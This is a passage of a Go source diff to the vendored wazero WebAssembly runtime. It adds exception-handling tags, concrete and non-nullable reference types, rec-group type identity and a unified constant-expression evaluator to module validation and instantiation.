+313,12 @@ func (m *Module) Validate(enabledFeatures api.CoreFeatures) error { return err } - if err = m.validateExports(enabledFeatures, functions, globals, memory, tables); err != nil { + if err = m.validateExports(enabledFeatures, functions, globals, memory, tables, tags); err != nil { return err } if m.CodeSection != nil { - if err = m.validateFunctions(enabledFeatures, functions, globals, memory, tables, MaximumFunctionIndex); err != nil { + if err = m.validateFunctions(enabledFeatures, functions, globals, memory, tables, tags, MaximumFunctionIndex); err != nil { return err } } // No need to validate host functions as NewHostModule validates @@ -301,6 +330,65 @@ func (m *Module) Validate(enabledFeatures api.CoreFeatures) error { if err = m.validateDataCountSection(); err != nil { return err } + + if err = m.validateTagSection(); err != nil { + return err + } + return nil +} + +func (m *Module) validateConcreteRefTypes() error { + numTypes := uint32(len(m.TypeSection)) + for i, g := range m.GlobalSection { + if vt := g.Type.ValType; vt.IsConcreteRef() && vt.TypeIndex() >= numTypes { + return fmt.Errorf("unknown type %d in global[%d]", vt.TypeIndex(), i) + } + } + for i, t := range m.TableSection { + if vt := t.Type; vt.IsConcreteRef() && vt.TypeIndex() >= numTypes { + return fmt.Errorf("unknown type %d in table[%d]", vt.TypeIndex(), i) + } + } + for i, c := range m.CodeSection { + for j, lt := range c.LocalTypes { + if lt.IsConcreteRef() && lt.TypeIndex() >= numTypes { + return fmt.Errorf("unknown type %d in func[%d].local[%d]", lt.TypeIndex(), i, j) + } + } + } + for i, e := range m.ElementSection { + if vt := e.Type; vt.IsConcreteRef() && vt.TypeIndex() >= numTypes { + return fmt.Errorf("unknown type %d in element[%d]", vt.TypeIndex(), i) + } + } + return nil +} + +func (m *Module) validateTableInitExprs(globals []GlobalType, numFuncs uint32) error { + importedGlobals := globals[:m.ImportGlobalCount] + for i, t := range m.TableSection { + if !t.Type.IsNullable() && t.InitExpr == nil { + return fmt.Errorf("type mismatch: non-nullable table[%d] requires an init expression", i) + } + if t.InitExpr != nil { + if err := m.validateConstExpression(importedGlobals, numFuncs, t.InitExpr, t.Type); err != nil { + return fmt.Errorf("table[%d] init: %w", i, err) + } + } + } + return nil +} + +func (m *Module) validateTagSection() error { + for i, tag := range m.TagSection { + if tag.Type >= uint32(len(m.TypeSection)) { + return fmt.Errorf("tag[%d] type index out of range", i) + } + ft := &m.TypeSection[tag.Type] + if len(ft.Results) > 0 { + return fmt.Errorf("tag[%d] type must have empty results, got %v", i, ft.Results) + } + } return nil } @@ -330,14 +418,14 @@ func (m *Module) validateGlobals(globals []GlobalType, numFuncts, maxGlobals uin importedGlobals := globals[:m.ImportGlobalCount] for i := range m.GlobalSection { g := &m.GlobalSection[i] - if err := validateConstExpression(importedGlobals, numFuncts, &g.Init, g.Type.ValType); err != nil { + if err := m.validateConstExpression(importedGlobals, numFuncts, &g.Init, g.Type.ValType); err != nil { return err } } return nil } -func (m *Module) validateFunctions(enabledFeatures api.CoreFeatures, functions []Index, globals []GlobalType, memory *Memory, tables []Table, maximumFunctionIndex uint32) error { +func (m *Module) validateFunctions(enabledFeatures api.CoreFeatures, functions []Index, globals []GlobalType, memory *Memory, tables []Table, tags []Index, maximumFunctionIndex uint32) error { if uint32(len(functions)) > maximumFunctionIndex { return fmt.Errorf("too many functions (%d) in a module", len(functions)) } @@ -353,7 +441,7 @@ func (m *Module) validateFunctions(enabledFeatures api.CoreFeatures, functions [ return fmt.Errorf("code count (%d) != function count (%d)", codeCount, functionCount) } - declaredFuncIndexes, err := m.declaredFunctionIndexes() + declaredFuncIndexes, err := m.declaredFunctionIndexes(enabledFeatures) if err != nil { return err } @@ -371,7 +459,7 @@ func (m *Module) validateFunctions(enabledFeatures api.CoreFeatures, functions [ if c.GoFunc != nil { continue } - if err = m.validateFunction(vs, enabledFeatures, Index(idx), functions, globals, memory, tables, declaredFuncIndexes, br); err != nil { + if err = m.validateFunction(vs, enabledFeatures, Index(idx), functions, globals, memory, tables, tags, declaredFuncIndexes, br); err != nil { return fmt.Errorf("invalid %s: %w", m.funcDesc(SectionIDFunction, Index(idx)), err) } } @@ -397,7 +485,7 @@ func (m *Module) validateFunctions(enabledFeatures api.CoreFeatures, functions [ // // See https://github.com/WebAssembly/reference-types/issues/31 // See https://github.com/WebAssembly/reference-types/issues/76 -func (m *Module) declaredFunctionIndexes() (ret map[Index]struct{}, err error) { +func (m *Module) declaredFunctionIndexes(enabledFeatures api.CoreFeatures) (ret map[Index]struct{}, err error) { ret = map[uint32]struct{}{} for i := range m.ExportSection { @@ -409,23 +497,39 @@ func (m *Module) declaredFunctionIndexes() (ret map[Index]struct{}, err error) { for i := range m.GlobalSection { g := &m.GlobalSection[i] - if g.Init.Opcode == OpcodeRefFunc { - var index uint32 - index, _, err = leb128.LoadUint32(g.Init.Data) - if err != nil { - err = fmt.Errorf("%s[%d] failed to initialize: %w", SectionIDName(SectionIDGlobal), i, err) - return - } - ret[index] = struct{}{} + + _, _, initErr := evaluateConstExpr( + &g.Init, + func(globalIndex Index) (ValueType, uint64, uint64, error) { + vt, err := m.resolveConstExprGlobalType(enabledFeatures, SectionIDGlobal, Index(i), globalIndex) + return vt, 0, 0, err + }, + func(funcIndex Index) (Reference, error) { + ret[funcIndex] = struct{}{} + return 0, nil + }, + ) + + if initErr != nil { + err = fmt.Errorf("%s[%d] failed to initialize: %w", SectionIDName(SectionIDGlobal), i, initErr) + return } } for i := range m.ElementSection { elem := &m.ElementSection[i] - for _, index := range elem.Init { - if index != ElementInitNullReference { - ret[index] = struct{}{} - } + for _, initExpr := range elem.Init { + _, _, _ = evaluateConstExpr( + &initExpr, + func(globalIndex Index) (ValueType, uint64, uint64, error) { + vt, err := m.resolveConstExprGlobalType(enabledFeatures, SectionIDElement, Index(i), globalIndex) + return vt, 0, 0, err + }, + func(funcIndex Index) (Reference, error) { + ret[funcIndex] = struct{}{} + return 0, nil + }, + ) } } return @@ -467,7 +571,7 @@ func (m *Module) validateMemory(memory *Memory, globals []GlobalType, _ api.Core for i := range m.DataSection { d := &m.DataSection[i] if !d.IsPassive() { - if err := validateConstExpression(importedGlobals, 0, &d.OffsetExpression, ValueTypeI32); err != nil { + if err := m.validateConstExpression(importedGlobals, 0, &d.OffsetExpression, ValueTypeI32); err != nil { return fmt.Errorf("calculate offset: %w", err) } } @@ -493,12 +597,19 @@ func (m *Module) validateImports(enabledFeatures api.CoreFeatures) error { if err := enabledFeatures.RequireEnabled(api.CoreFeatureMutableGlobal); err != nil { return fmt.Errorf("invalid import[%q.%q] global: %w", imp.Module, imp.Name, err) } + case ExternTypeTag: + if int(imp.DescTag) >= len(m.TypeSection) { + return fmt.Errorf("invalid import[%q.%q] tag: type index out of range", imp.Module, imp.Name) + } + if len(m.TypeSection[imp.DescTag].Results) > 0 { + return fmt.Errorf("invalid import[%q.%q] tag: tag types must have no results", imp.Module, imp.Name) + } } } return nil } -func (m *Module) validateExports(enabledFeatures api.CoreFeatures, functions []Index, globals []GlobalType, memory *Memory, tables []Table) error { +func (m *Module) validateExports(enabledFeatures api.CoreFeatures, functions []Index, globals []GlobalType, memory *Memory, tables []Table, tags []Index) error { for i := range m.ExportSection { exp := &m.ExportSection[i] index := exp.Index @@ -525,78 +636,43 @@ func (m *Module) validateExports(enabledFeatures api.CoreFeatures, functions []I if index >= uint32(len(tables)) { return fmt.Errorf("table for export[%q] out of range", exp.Name) } + case ExternTypeTag: + if index >= uint32(len(tags)) { + return fmt.Errorf("tag for export[%q] out of range", exp.Name) + } } } return nil } -func validateConstExpression(globals []GlobalType, numFuncs uint32, expr *ConstantExpression, expectedType ValueType) (err error) { - var actualType ValueType - switch expr.Opcode { - case OpcodeI32Const: - // Treat constants as signed as their interpretation is not yet known per /RATIONALE.md - _, _, err = leb128.LoadInt32(expr.Data) - if err != nil { - return fmt.Errorf("read i32: %w", err) - } - actualType = ValueTypeI32 - case OpcodeI64Const: - // Treat constants as signed as their interpretation is not yet known per /RATIONALE.md - _, _, err = leb128.LoadInt64(expr.Data) - if err != nil { - return fmt.Errorf("read i64: %w", err) - } - actualType = ValueTypeI64 - case OpcodeF32Const: - _, err = ieee754.DecodeFloat32(expr.Data) - if err != nil { - return fmt.Errorf("read f32: %w", err) - } - actualType = ValueTypeF32 - case OpcodeF64Const: - _, err = ieee754.DecodeFloat64(expr.Data) - if err != nil { - return fmt.Errorf("read f64: %w", err) - } - actualType = ValueTypeF64 - case OpcodeGlobalGet: - id, _, err := leb128.LoadUint32(expr.Data) - if err != nil { - return fmt.Errorf("read index of global: %w", err) - } - if uint32(len(globals)) <= id { - return fmt.Errorf("global index out of range") - } - actualType = globals[id].ValType - case OpcodeRefNull: - if len(expr.Data) == 0 { - return fmt.Errorf("read reference type for ref.null: %w", io.ErrShortBuffer) - } - reftype := expr.Data[0] - if reftype != RefTypeFuncref && reftype != RefTypeExternref { - return fmt.Errorf("invalid type for ref.null: 0x%x", reftype) - } - actualType = reftype - case OpcodeRefFunc: - index, _, err := leb128.LoadUint32(expr.Data) - if err != nil { - return fmt.Errorf("read i32: %w", err) - } else if index >= numFuncs { - return fmt.Errorf("ref.func index out of range [%d] with length %d", index, numFuncs-1) - } - actualType = ValueTypeFuncref - case OpcodeVecV128Const: - if len(expr.Data) != 16 { - return fmt.Errorf("%s needs 16 bytes but was %d bytes", OpcodeVecV128ConstName, len(expr.Data)) +func (m *Module) validateConstExpression(globals []GlobalType, numFuncs uint32, expr *ConstantExpression, expectedType ValueType) (err error) { + var lastRefFuncIdx Index + _, typ, err := evaluateConstExpr( + expr, + func(globalIndex Index) (ValueType, uint64, uint64, error) { + if uint32(len(globals)) <= globalIndex { + return 0, 0, 0, fmt.Errorf("global index out of range") + } + return globals[globalIndex].ValType, 0, 0, nil + }, + func(funcIndex Index) (Reference, error) { + if funcIndex >= numFuncs { + return 0, fmt.Errorf("ref.func index out of range [%d] with length %d", funcIndex, numFuncs-1) + } + lastRefFuncIdx = funcIndex + return 0, nil + }, + ) + if err != nil { + return err + } + if typ == ValueTypeFuncref { + if typeIndex, ok := m.typeIndexOfFunction(lastRefFuncIdx); ok { + typ = ValueTypeConcreteRef(typeIndex, false) } - actualType = ValueTypeV128 - default: - return fmt.Errorf("invalid opcode for const expression: 0x%x", expr.Opcode) } - - if actualType != expectedType { - return fmt.Errorf("const expression type mismatch expected %s but got %s", - ValueTypeName(expectedType), ValueTypeName(actualType)) + if !isRefSubtypeOf(typ, expectedType) { + return fmt.Errorf("const expression type mismatch expected %s but got %s", ValueTypeName(expectedType), ValueTypeName(typ)) } return nil } @@ -609,6 +685,16 @@ func (m *Module) validateDataCountSection() (err error) { return } +func (m *ModuleInstance) buildTags(module *Module) { + for i := range module.TagSection { + tag := &module.TagSection[i] + t := &TagInstance{ + Type: &module.TypeSection[tag.Type], + } + m.Tags[i+int(module.ImportTagCount)] = t + } +} + func (m *ModuleInstance) buildGlobals(module *Module, funcRefResolver func(funcIndex Index) Reference) { importedGlobals := m.Globals[:module.ImportGlobalCount] @@ -627,6 +713,48 @@ func (m *ModuleInstance) buildGlobals(module *Module, funcRefResolver func(funcI } } +func (m *Module) resolveConstExprGlobalType(enabledFeatures api.CoreFeatures, sectionID SectionID, sectionIdx Index, idx Index) (ValueType, error) { + if idx < m.ImportGlobalCount { + // Imports are not exclusively globals. This is the current global index in the loop. + cur := uint32(0) + for i := range m.ImportSection { + imp := &m.ImportSection[i] + if imp.Type != ExternTypeGlobal { + continue + } + if idx == cur { + return imp.DescGlobal.ValType, nil + } + cur++ + } + + // should not happen as idx < ImportGlobalCount + return 0, fmt.Errorf("index %d not found in imported globals", idx) + } + + // NOTE: in the <= 2.0 spec, global.get in a constant expression can only refer to imported globals. + // In version 3.0, this restriction is removed, and all globals prior to the current one are allowed. + // To avoid implementing too many flags, this relaxation is gated behind the CoreFeaturesExtendedConst flag, + // which includes other related extensions in constant expressions. + if !enabledFeatures.IsEnabled(experimental.CoreFeaturesExtendedConst) { + return 0, fmt.Errorf("%s[%d] (global.get %d): out of range of imported globals", SectionIDName(sectionID), sectionIdx, idx) + } + + idx -= uint32(m.ImportGlobalCount) + + // Check that the given global has been initialized. + if sectionIdx == Index(SectionIDGlobal) && idx >= sectionIdx { + return 0, fmt.Errorf("%s[%d] global %d out of range of initialized globals", SectionIDName(sectionID), sectionIdx, idx) + } + + // Bounds check: + if idx >= uint32(len(m.GlobalSection)) { + return 0, fmt.Errorf("%s[%d] (global.get %d): out of range of initialized globals", SectionIDName(sectionID), sectionIdx, idx) + } + + return m.GlobalSection[idx].Type.ValType, nil +} + func paramNames(localNames IndirectNameMap, funcIdx uint32, paramLen int) []string { for i := range localNames { nm := &localNames[i] @@ -685,6 +813,13 @@ type FunctionType struct { // ResultsNumInUint64 is the number of uint64 values requires to represent the Wasm result type. ResultNumInUint64 int + + // RecGroupSize is the size of the rec group this type belongs to. + // Standalone types (not in an explicit rec group) have RecGroupSize 1. + RecGroupSize int + + // RecGroupPosition is the 0-based position of this type within its rec group. + RecGroupPosition int } func (f *FunctionType) CacheNumInUint64() { @@ -709,7 +844,16 @@ func (f *FunctionType) CacheNumInUint64() { // EqualsSignature returns true if the function type has the same parameters and results. func (f *FunctionType) EqualsSignature(params []ValueType, results []ValueType) bool { - return bytes.Equal(f.Params, params) && bytes.Equal(f.Results, results) + return slices.Equal(f.Params, params) && slices.Equal(f.Results, results) +} + +// EqualsType returns true if the function types are structurally equal AND +// belong to the same rec group position/size (GC proposal type identity). +func (f *FunctionType) EqualsType(other *FunctionType) bool { + if !f.EqualsSignature(other.Params, other.Results) { + return false + } + return f.RecGroupSize == other.RecGroupSize && f.RecGroupPosition == other.RecGroupPosition } // key gets or generates the key for Store.typeIDs. e.g. "i32_v" for one i32 parameter and no (void) result. @@ -732,6 +876,9 @@ func (f *FunctionType) key() string { if len(f.Results) == 0 { ret += "v" } + if f.RecGroupSize > 1 { + ret += fmt.Sprintf("|rec%d/%d", f.RecGroupPosition, f.RecGroupSize) + } f.string = ret return ret } @@ -757,6 +904,8 @@ type Import struct { DescMem *Memory // DescGlobal is the inlined GlobalType when Type equals ExternTypeGlobal DescGlobal GlobalType + // DescTag is the type index when Type equals ExternTypeTag + DescTag Index // IndexPerType has the index of this import per ExternType. IndexPerType Index } @@ -793,6 +942,13 @@ func (m *Memory) Validate(memoryLimitPages uint32) error { return nil } +// Tag represents an exception tag defined in the tag section. +// The Type field is an index into the TypeSection; the referenced function type +// must have empty results (tags carry parameters but produce no results). +type Tag struct { + Type Index +} + type GlobalType struct { ValType ValueType Mutable bool @@ -803,11 +959,6 @@ type Global struct { Init ConstantExpression } -type ConstantExpression struct { - Opcode Opcode - Data []byte -} - // Export is the binary representation of an export indicated by Type // See https://www.w3.org/TR/2019/REC-wasm-core-1-20191205/#binary-export type Export struct { @@ -931,8 +1082,8 @@ type NameMapAssoc struct { NameMap NameMap } -// AllDeclarations returns all declarations for functions, globals, memories and tables in a module including imported ones. -func (m *Module) AllDeclarations() (functions []Index, globals []GlobalType, memory *Memory, tables []Table, err error) { +// AllDeclarations returns all declarations for functions, globals, memories, tables and tags in a module including imported ones. +func (m *Module) AllDeclarations() (functions []Index, globals []GlobalType, memory *Memory, tables []Table, tags []Index, err error) { for i := range m.ImportSection { imp := &m.ImportSection[i] switch imp.Type { @@ -944,6 +1095,8 @@ func (m *Module) AllDeclarations() (functions []Index, globals []GlobalType, mem memory = imp.DescMem case ExternTypeTable: tables = append(tables, imp.DescTable) + case ExternTypeTag: + tags = append(tags, imp.DescTag) } } @@ -952,6 +1105,10 @@ func (m *Module) AllDeclarations() (functions []Index, globals []GlobalType, mem g := &m.GlobalSection[i] globals = append(globals, g.Type) } + for i := range m.TagSection { + t := &m.TagSection[i] + tags = append(tags, t.Type) + } if m.MemorySection != nil { if memory != nil { // shouldn't be possible due to Validate err = errors.New("at most one table allowed in module") @@ -993,6 +1150,11 @@ const ( // See https://www.w3.org/TR/2022/WD-wasm-core-2-20220419/binary/modules.html#data-count-section // See https://www.w3.org/TR/2022/WD-wasm-core-2-20220419/appendix/changes.html#bulk-memory-and-table-instructions SectionIDDataCount + + // SectionIDTag is for exception handling tags. + // + // See https://github.com/WebAssembly/exception-handling/blob/main/proposals/exception-handling/Exceptions.md + SectionIDTag SectionID = 13 ) // SectionIDName returns the canonical name of a module section. @@ -1025,37 +1187,151 @@ func SectionIDName(sectionID SectionID) string { return "data" case SectionIDDataCount: return "data_count" + case SectionIDTag: + return "tag" } return "unknown" } -// ValueType is an alias of api.ValueType defined to simplify imports. -type ValueType = api.ValueType +// ValueType represents a WebAssembly value type as a uint64. +// +// Layout: +// +// bits 0-7: kind byte (backward-compatible with api.ValueType) +// bits 8-15: flags (nullability, concrete ref) +// bits 32-63: type index (for concrete refs like (ref $3)) +type ValueType uint64 + +const ( + flagNonNullable ValueType = 1 << 8 + flagConcreteRef ValueType = 1 << 9 +) const ( - ValueTypeI32 = api.ValueTypeI32 - ValueTypeI64 = api.ValueTypeI64 - ValueTypeF32 = api.ValueTypeF32 - ValueTypeF64 = api.ValueTypeF64 - // TODO: ValueTypeV128 is not exposed in the api pkg yet. - ValueTypeV128 ValueType = 0x7b - // TODO: ValueTypeFuncref is not exposed in the api pkg yet. + ValueTypeI32 ValueType = 0x7f + ValueTypeI64 ValueType = 0x7e + ValueTypeF32 ValueType = 0x7d + ValueTypeF64 ValueType = 0x7c + ValueTypeV128 ValueType = 0x7b ValueTypeFuncref ValueType = 0x70 - ValueTypeExternref = api.ValueTypeExternref + ValueTypeExternref ValueType = 0x6f + ValueTypeExnref ValueType = 0x69 +) + +// Kind returns the base type byte (bits 0-7). +func (v ValueType) Kind() byte { return byte(v) } + +// IsRef returns true if this is a reference type (including non-nullable variants). +func (v ValueType) IsRef() bool { + k := v.Kind() + return k == ValueTypeFuncref.Kind() || k == ValueTypeExternref.Kind() || k == ValueTypeExnref.Kind() || + v&flagConcreteRef != 0 +} + +// IsNullable returns true if this reference type is nullable. Must only be called on ref types. +func (v ValueType) IsNullable() bool { return v.IsRef() && v&flagNonNullable == 0 } + +// IsConcreteRef returns true if this is a concrete reference type with a type index. +func (v ValueType) IsConcreteRef() bool { return v&flagConcreteRef != 0 } + +// TypeIndex returns the concrete type index (bits 32-63). +func (v ValueType) TypeIndex() uint32 { return uint32(v >> 32) } + +// AsNonNullable returns a copy with the non-nullable flag set. +func (v ValueType) AsNonNullable() ValueType { return v | flagNonNullable } + +// AsNullable returns a copy with the non-nullable flag cleared. +func (v ValueType) AsNullable() ValueType { return v &^ flagNonNullable } + +// ValueTypeConcreteRef creates a concrete reference type with the given type index and nullability. +func ValueTypeConcreteRef(typeIndex uint32, nullable bool) ValueType { + v := ValueTypeFuncref | flagConcreteRef | ValueType(typeIndex)<<32 + if !nullable { + v |= flagNonNullable + } + return v +} + +const ( + // RefPrefixNullable is the binary encoding prefix for nullable reference types (ref null ). + RefPrefixNullable byte = 0x63 + // RefPrefixNonNullable is the binary encoding prefix for non-nullable reference types (ref ). + RefPrefixNonNullable byte = 0x64 +) + +const ( + // HeapTypeFunc is the abstract heap type for function references. + HeapTypeFunc int64 = -16 + // HeapTypeExtern is the abstract heap type for external references. + HeapTypeExtern int64 = -17 + // HeapTypeExn is the abstract heap type for exception references. + HeapTypeExn int64 = -23 ) -// ValueTypeName is an alias of api.ValueTypeName defined to simplify imports. +// ValueTypeName returns the name of a ValueType. func ValueTypeName(t ValueType) string { - if t == ValueTypeFuncref { - return "funcref" - } else if t == ValueTypeV128 { + if t.IsConcreteRef() { + if t.IsNullable() { + return fmt.Sprintf("(ref null %d)", t.TypeIndex()) + } + return fmt.Sprintf("(ref %d)", t.TypeIndex()) + } + switch t.AsNullable() { + case ValueTypeI32: + return "i32" + case ValueTypeI64: + return "i64" + case ValueTypeF32: + return "f32" + case ValueTypeF64: + return "f64" + case ValueTypeV128: return "v128" + case ValueTypeFuncref: + if !t.IsNullable() { + return "(ref func)" + } + return "funcref" + case ValueTypeExternref: + if !t.IsNullable() { + return "(ref extern)" + } + return "externref" + case ValueTypeExnref: + if !t.IsNullable() { + return "(ref exn)" + } + return "exnref" } - return api.ValueTypeName(t) + return "unknown" } func isReferenceValueType(vt ValueType) bool { - return vt == ValueTypeExternref || vt == ValueTypeFuncref + return vt.IsRef() +} + +// isRefSubtypeOf returns true if actual is a subtype of (or equal to) expected. +// Non-nullable is a subtype of nullable. Concrete function refs are subtypes of funcref. +func isRefSubtypeOf(actual, expected ValueType) bool { + if actual == expected { + return true + } + // Non-nullable is subtype of nullable (same kind/index). + if actual.AsNullable() == expected.AsNullable() && expected.IsNullable() { + return true + } + // Concrete function ref is subtype of (abstract) funcref (nullable or non-nullable). + if actual.IsConcreteRef() && expected.Kind() == ValueTypeFuncref.Kind() { + if !actual.IsNullable() || expected.IsNullable() { + return true + } + } + return false +} + +// areRefTypesCompatible returns true if either type is a subtype of the other. +func areRefTypesCompatible(a, b ValueType) bool { + return isRefSubtypeOf(a, b) || isRefSubtypeOf(b, a) } // ExternType is an alias of api.ExternType defined to simplify imports. @@ -1070,9 +1346,14 @@ const ( ExternTypeMemoryName = api.ExternTypeMemoryName ExternTypeGlobal = api.ExternTypeGlobal ExternTypeGlobalName = api.ExternTypeGlobalName + ExternTypeTag = ExternType(0x04) + ExternTypeTagName = "tag" ) // ExternTypeName is an alias of api.ExternTypeName defined to simplify imports. -func ExternTypeName(t ValueType) string { +func ExternTypeName(t ExternType) string { + if t == ExternTypeTag { + return ExternTypeTagName + } return api.ExternTypeName(t) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/wasm/store.go b/vendor/github.com/tetratelabs/wazero/internal/wasm/store.go index c7909c67..79c382c0 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/wasm/store.go +++ b/vendor/github.com/tetratelabs/wazero/internal/wasm/store.go @@ -2,7 +2,6 @@ package wasm import ( "context" - "encoding/binary" "errors" "fmt" "sync" @@ -12,7 +11,6 @@ import ( "github.com/tetratelabs/wazero/experimental" "github.com/tetratelabs/wazero/internal/expctxkeys" "github.com/tetratelabs/wazero/internal/internalapi" - "github.com/tetratelabs/wazero/internal/leb128" internalsys "github.com/tetratelabs/wazero/internal/sys" "github.com/tetratelabs/wazero/sys" ) @@ -79,6 +77,7 @@ type ( Globals []*GlobalInstance MemoryInstance *MemoryInstance Tables []*TableInstance + Tags []*TagInstance // Engine implements function calls for this module. Engine ModuleEngine @@ -151,6 +150,13 @@ type ( Index Index } + // TagInstance represents an instantiated exception handling tag. + // Tags are compared by identity (pointer equality), not structural type equality. + TagInstance struct { + // Type is the function type of this tag (params only; results must be empty). + Type *FunctionType + } + // FunctionTypeID is a uniquely assigned integer for a function type. // This is wazero specific runtime object and specific to a store, // and used at runtime to do type-checks on indirect function calls. @@ -174,21 +180,15 @@ func (m *ModuleInstance) GetFunctionTypeID(t *FunctionType) FunctionTypeID { func (m *ModuleInstance) buildElementInstances(elements []ElementSegment) { m.ElementInstances = make([][]Reference, len(elements)) for i, elm := range elements { - if elm.Type == RefTypeFuncref && elm.Mode == ElementModePassive { + if elm.Type.Kind() == RefTypeFuncref.Kind() && elm.Mode == ElementModePassive { // Only passive elements can be access as element instances. // See https://www.w3.org/TR/2022/WD-wasm-core-2-20220419/syntax/modules.html#element-segments inits := elm.Init inst := make([]Reference, len(inits)) m.ElementInstances[i] = inst for j, idx := range inits { - if index, ok := unwrapElementInitGlobalReference(idx); ok { - global := m.Globals[index] - inst[j] = Reference(global.Val) - } else { - if idx != ElementInitNullReference { - inst[j] = m.Engine.FunctionInstanceReference(idx) - } - } + initExprResults := evaluateConstExprInModuleInstance(&idx, m) + inst[j] = Reference(initExprResults[0]) } } } @@ -202,17 +202,8 @@ func (m *ModuleInstance) applyElements(elems []ElementSegment) { len(elem.Init) == 0 { continue } - var offset uint32 - if elem.OffsetExpr.Opcode == OpcodeGlobalGet { - // Ignore error as it's already validated. - globalIdx, _, _ := leb128.LoadUint32(elem.OffsetExpr.Data) - global := m.Globals[globalIdx] - offset = uint32(global.Val) - } else { - // Ignore error as it's already validated. - o, _, _ := leb128.LoadInt32(elem.OffsetExpr.Data) - offset = uint32(o) - } + offsetExprResults := evaluateConstExprInModuleInstance(&elem.OffsetExpr, m) + offset := uint32(offsetExprResults[0]) table := m.Tables[elem.TableIndex] references := table.References @@ -233,18 +224,8 @@ func (m *ModuleInstance) applyElements(elems []ElementSegment) { } } else { for i, init := range elem.Init { - if init == ElementInitNullReference { - continue - } - - var ref Reference - if index, ok := unwrapElementInitGlobalReference(init); ok { - global := m.Globals[index] - ref = Reference(global.Val) - } else { - ref = m.Engine.FunctionInstanceReference(index) - } - references[offset+uint32(i)] = ref + initExprResults := evaluateConstExprInModuleInstance(&init, m) + references[offset+uint32(i)] = Reference(initExprResults[0]) } } } @@ -256,7 +237,26 @@ func (m *ModuleInstance) validateData(data []DataSegment) (err error) { for i := range data { d := &data[i] if !d.IsPassive() { - offset := int(executeConstExpressionI32(m.Globals, &d.OffsetExpression)) + results, typ, err := evaluateConstExpr( + &d.OffsetExpression, + func(globalIndex Index) (ValueType, uint64, uint64, error) { + if globalIndex >= Index(len(m.Globals)) { + return 0, 0, 0, errors.New("global index out of range") + } + g := m.Globals[globalIndex] + return g.Type.ValType, g.Val, g.ValHi, nil + }, + func(funcIndex Index) (Reference, error) { + return m.Engine.FunctionInstanceReference(funcIndex), nil + }, + ) + if err != nil { + return fmt.Errorf("%s[%d] failed to evaluate offset expression: %w", SectionIDName(SectionIDData), i, err) + } + if typ != ValueTypeI32 { + return fmt.Errorf("%s[%d] offset expression must return i32 but was %s", SectionIDName(SectionIDData), i, ValueTypeName(typ)) + } + offset := int(results[0]) ceil := offset + len(d.Init) if offset < 0 || ceil > len(m.MemoryInstance.Buffer) { return fmt.Errorf("%s[%d]: out of bounds memory access", SectionIDName(SectionIDData), i) @@ -275,8 +275,9 @@ func (m *ModuleInstance) applyData(data []DataSegment) error { d := &data[i] m.DataInstances[i] = d.Init if !d.IsPassive() { - offset := executeConstExpressionI32(m.Globals, &d.OffsetExpression) - if offset < 0 || int(offset)+len(d.Init) > len(m.MemoryInstance.Buffer) { + offsetExprResults := evaluateConstExprInModuleInstance(&d.OffsetExpression, m) + offset := int(offsetExprResults[0]) + if offset < 0 || offset+len(d.Init) > len(m.MemoryInstance.Buffer) { return fmt.Errorf("%s[%d]: out of bounds memory access", SectionIDName(SectionIDData), i) } copy(m.MemoryInstance.Buffer[offset:], d.Init) @@ -348,6 +349,7 @@ func (s *Store) instantiate( m.Tables = make([]*TableInstance, int(module.ImportTableCount)+len(module.TableSection)) m.Globals = make([]*GlobalInstance, int(module.ImportGlobalCount)+len(module.GlobalSection)) + m.Tags = make([]*TagInstance, int(module.ImportTagCount)+len(module.TagSection)) m.Engine, err = s.Engine.NewModuleEngine(module, m) if err != nil { return nil, err @@ -367,6 +369,7 @@ func (s *Store) instantiate( allocator, _ := ctx.Value(expctxkeys.MemoryAllocatorKey{}).(experimental.MemoryAllocator) m.buildGlobals(module, m.Engine.FunctionInstanceReference) + m.buildTags(module) m.buildMemory(module, allocator) m.Exports = module.Exports for _, exp := range m.Exports { @@ -441,7 +444,15 @@ func (m *ModuleInstance) resolveImports(ctx context.Context, module *Module) (er expectedType := &module.TypeSection[i.DescFunc] src := importedModule.Source actual := src.typeOfFunction(imported.Index) - if !actual.EqualsSignature(expectedType.Params, expectedType.Results) { + matched := false + if m.TypeIDs != nil && importedModule.TypeIDs != nil { + // Use structural type IDs for comparison (handles concrete ref types across modules). + actualTypeIdx, ok := src.typeIndexOfFunction(imported.Index) + matched = ok && importedModule.TypeIDs[actualTypeIdx] == m.TypeIDs[i.DescFunc] + } else { + matched = actual.EqualsSignature(expectedType.Params, expectedType.Results) + } + if !matched { err = errorInvalidImport(i, fmt.Errorf("signature mismatch: %s != %s", expectedType, actual)) return } @@ -456,7 +467,7 @@ func (m *ModuleInstance) resolveImports(ctx context.Context, module *Module) (er return } - if expected.Min > importedTable.Min { + if uint64(expected.Min) > uint64(len(importedTable.References)) { err = errorMinSizeMismatch(i, expected.Min, importedTable.Min) return } @@ -503,12 +514,22 @@ func (m *ModuleInstance) resolveImports(ctx context.Context, module *Module) (er return } - if expected.ValType != importedGlobal.Type.ValType { + if expected.Mutable && expected.ValType != importedGlobal.Type.ValType || + !expected.Mutable && !isRefSubtypeOf(importedGlobal.Type.ValType, expected.ValType) { err = errorInvalidImport(i, fmt.Errorf("value type mismatch: %s != %s", ValueTypeName(expected.ValType), ValueTypeName(importedGlobal.Type.ValType))) return } m.Globals[i.IndexPerType] = importedGlobal + case ExternTypeTag: + expected := &module.TypeSection[i.DescTag] + importedTag := importedModule.Tags[imported.Index] + if !importedTag.Type.EqualsType(expected) { + err = errorInvalidImport(i, fmt.Errorf("tag type mismatch: %s != %s", + expected, importedTag.Type)) + return + } + m.Tags[i.IndexPerType] = importedTag } } } @@ -531,67 +552,27 @@ func errorInvalidImport(i *Import, err error) error { return fmt.Errorf("import %s[%s.%s]: %w", ExternTypeName(i.Type), i.Module, i.Name, err) } -// executeConstExpressionI32 executes the ConstantExpression which returns ValueTypeI32. -// The validity of the expression is ensured when calling this function as this is only called -// during instantiation phrase, and the validation happens in compilation (validateConstExpression). -func executeConstExpressionI32(importedGlobals []*GlobalInstance, expr *ConstantExpression) (ret int32) { - switch expr.Opcode { - case OpcodeI32Const: - ret, _, _ = leb128.LoadInt32(expr.Data) - case OpcodeGlobalGet: - id, _, _ := leb128.LoadUint32(expr.Data) - g := importedGlobals[id] - ret = int32(g.Val) - } - return -} - // initialize initializes the value of this global instance given the const expr and imported globals. // funcRefResolver is called to get the actual funcref (engine specific) from the OpcodeRefFunc const expr. // // Global initialization constant expression can only reference the imported globals. // See the note on https://www.w3.org/TR/2019/REC-wasm-core-1-20191205/#constant-expressions%E2%91%A0 func (g 